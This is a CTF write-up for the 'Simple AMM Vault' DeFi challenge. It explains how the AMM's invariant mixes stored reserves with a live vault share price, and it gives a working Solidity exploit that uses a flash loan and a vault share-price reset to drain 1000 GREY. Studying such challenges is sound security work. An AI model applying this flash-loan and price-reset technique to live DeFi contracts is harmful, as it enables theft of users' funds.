✅3. Simple AMM Vault
Codebase walkthrough
This CTF challenge presents a DeFi system composed of three main contracts:
GREY Token: A standard ERC20 token
SimpleVault: An ERC4626-like vault that allows staking GREY tokens for SV shares
SimpleAMM: An automated market maker that creates a liquidity pool between SV tokens and GREY tokens
The goal is to accumulate at least 3000 GREY tokens starting with only 1000 GREY from the claim function.
Let's examine the initial setup in the Setup.sol
contract:
// Initial setup creates the following state:
// 1. Deploy GREY token and mint 4000 GREY to Setup
// 2. Deploy SimpleVault and SimpleAMM
// 3. Deposit 1000 GREY → get 1000 SV (1:1 ratio initially)
// 4. Distribute 1000 GREY as rewards (increases totalAssets to 2000)
// 5. Add liquidity: 1000 SV + 2000 GREY to AMM pool
After setup, the vault state is:
totalAssets = 2000 GREY
totalSupply = 1000 SV
sharePrice = 2000/1000 = 2.0
(2 GREY per SV)
The AMM pool contains:
reserveX = 1000
(stored state variable)reserveY = 2000
(stored state variable)Actual balances: 1000 SV + 2000 GREY
k = 1000 + 2000/2.0 = 2000
(using the vault's share price in calculation)
Bug description
The critical vulnerability lies in how the SimpleAMM calculates its invariant and handles flash loans:
function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) {
uint256 price = VAULT.sharePrice();
return amountX + amountY.divWadDown(price);
}
The key issue is that flash loans don't update the stored reserveX
and reserveY
variables, but they allow for atomic replacement of the underlying SV tokens with different economic value.
Step 1: Initial Setup
setup.claim(); // Get 1000 GREY
Player now has: 1000 GREY
Step 2: Flash Loan 1000 SV
setup.amm().flashLoan(true, 1000e18, "");
Critical insight: During the flash loan:
AMM's actual SV balance: 1000 → 0 SV (tokens sent to borrower)
AMM's stored
reserveX
: remains 1000 (unchanged)AMM's stored
reserveY
: remains 2000 (unchanged)
Why flash loan 1000 SV, not other amount? It is because we want to drain totalSupply to make the vault go back to its “initial state”:
function deposit(uint256 assets) external returns (uint256 shares) {
shares = toSharesDown(assets);
require(shares != 0, "zero shares");
totalAssets += assets;
_mint(msg.sender, shares);
GREY.transferFrom(msg.sender, address(this), assets);
}
function toSharesDown(uint256 assets) internal view returns (uint256) {
if (totalAssets == 0 || totalSupply == 0) {
return assets;
}
return assets.mulDivDown(totalSupply, totalAssets);
}
Step 3: SV Token Replacement (in callback)
function onFlashLoan(uint256 svAmount, bytes calldata) external {
// Burn 1000 SV for 2000 GREY
setup.vault().withdraw(svAmount);
// Deposit 1000 GREY for 1000 SV. Share price is now 1:1
setup.grey().approve(address(setup.vault()), 1000e18);
setup.vault().deposit(1000e18);
}
Before manipulation:
Vault: totalAssets = 2000, totalSupply = 1000, sharePrice = 2.0
Old SV tokens represent: 1000 SV × 2.0 = 2000 GREY value
Complete drainage:
Withdraw 1000 SV → get 2000 GREY
Vault state: totalAssets = 0, totalSupply = 0
Share price resets to 1.0 (triggered by totalSupply == 0)
Repopulation with manipulated ratio:
Deposit 1000 GREY → get 1000 SV (at reset 1:1 ratio)
Vault state: totalAssets = 1000, totalSupply = 1000, sharePrice = 1.0
Flash loan repayment:
AMM gets back 1000 SV tokens, but these are new SV tokens with 1:1 GREY backing
AMM's stored reserves remain: reserveX = 1000, reserveY = 2000
Step 4: The Broken Invariant
When the flash loan completes, the invariant modifier executes:
modifier invariant {
_;
require(computeK(reserveX, reserveY) >= k, "K");
}
Crucial point: The invariant uses stored reserve values, not actual token balances:
computeK(1000, 2000)
with new share price =1000 + 2000/1.0 = 3000
Original stored
k = 2000
Invariant check:
3000 >= 2000
✅ (passes)
Step 5: Exploit the Phantom Value
// Drain 1000 GREY from AMM
setup.amm().swap(true, 0, 1000e18);
The AMM now has "phantom value" because:
It was initialized with
k = 2000
(when SV had 2:1 backing)But now computes
k = 3000
(with SV having 1:1 backing)The difference of 1000 can be extracted
By swapping 0 SV input for 1000 GREY output:
New stored reserves:
reserveX = 1000
,reserveY = 1000
New computed k =
1000 + 1000/1.0 = 2000
Invariant:
2000 >= 2000
✅ (still satisfied)
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;
import { Setup } from "src/simple-amm-vault/Setup.sol";
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Claim 1000 GREY
setup.claim();
// Flash loan 1000 SV from the AMM
setup.amm().flashLoan(true, 1000e18, "");
// Drain 1000 GREY from the AMM
setup.amm().swap(true, 0, 1000e18);
// Transfer all GREY to msg.sender
setup.grey().transfer(
msg.sender,
setup.grey().balanceOf(address(this))
);
}
function onFlashLoan(uint256 svAmount, bytes calldata) external {
// Burn 1000 SV for 2000 GREY
setup.vault().withdraw(svAmount);
// Deposit 1000 GREY for 1000 SV. Share price is now 1:1
setup.grey().approve(address(setup.vault()), 1000e18);
setup.vault().deposit(1000e18);
// Approve SV for AMM to return the flash loan
setup.vault().approve(address(setup.amm()), svAmount);
}
}
Last updated